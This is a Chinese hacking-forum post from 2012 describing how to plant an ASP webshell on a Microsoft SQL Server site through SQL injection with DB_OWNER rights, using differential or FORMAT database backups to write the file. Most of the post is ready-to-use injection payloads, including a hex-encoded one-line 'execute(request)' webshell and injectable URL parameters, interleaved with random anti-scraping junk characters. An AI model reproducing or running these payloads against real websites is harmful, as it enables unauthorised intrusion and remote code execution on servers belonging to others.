找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2098|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:! X8 L4 k% C3 G8 q) E! }

2 N: L% e0 R7 k减少备份文件大小,得到可执行的webshell成功率提高不少6 [# ]) s- s, l, X; @9 F) k
一利用差异备份
& N5 m$ S' n- d2 q# o: V( Y& }加一个参数WITH DIFFERENTIAL
3 s  g0 q! T, e0 ]6 n, U$ I" _0 H9 o7 z; F9 E3 y
1- ?. k) z! x) s+ p) r) L0 c4 c
2
; T* G! N1 F8 \3, O* q9 G2 w4 K. a: }
4$ g1 z) W7 E2 s+ g5 G
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
3 ~) T- Y: S' r$ r6 W, screate table [dbo].[xiaolu] ([cmd] [image]);
# ?- O$ X0 D' B* B% ?" q. I" zinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
2 l" A; y9 D6 @* Kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
; N- y) O0 @+ l" h1 Z- ^; E+ ~& R# I1 i8 {% y& X
二利用完全FORMAT0 i& E" }2 R" u/ O
加一个参数WITH FROMAT& \" d% h$ j$ w$ M% L
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
$ j+ b- R% }* X/ j+ _5 r0 x1 ]  N* \- S1 M7 ?0 M* o1 S
1
9 a0 _+ f1 n, ^2& ]# R/ o6 _2 h2 C. |+ z: n
3
; R# f5 n/ J/ V# p$ r' r( [4$ ~/ T6 i/ F; ^0 d, P0 [
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
5 Y" p  `6 k( j3 \$ W2 @) h- Kcreate table [dbo].[xiaolu] ([cmd] [image]);
! U* m" V5 s" ?1 g8 `2 d" a; ginsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)7 ?: d3 f5 M0 F& p( m0 u3 H
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT . Q5 j; a# Y# i# [0 Y
* P: K5 g$ P' J9 A, [9 A
总的来说就是那么简单几句,下面以备份数据库model为例子$ e8 t2 u9 u) K! i* z% J( _
1
* L( M' }' _# ?5 l3 m" ^
+ Z, Y+ \4 q1 j& C1. ^( a0 [4 M  K6 m
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
6 T2 I. W4 z8 G" @% H; x$ ^2 R
8 A% r! n* i$ {0 e2* [. _8 E5 s0 _5 x3 Z

* s$ C7 I9 M' J3 q" R1) v4 ?' J5 s  g0 R0 j
id=1;backup database model to disk='你的路径‘ with differential,format;--
% M" ?  _% G: b0 X$ f2 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表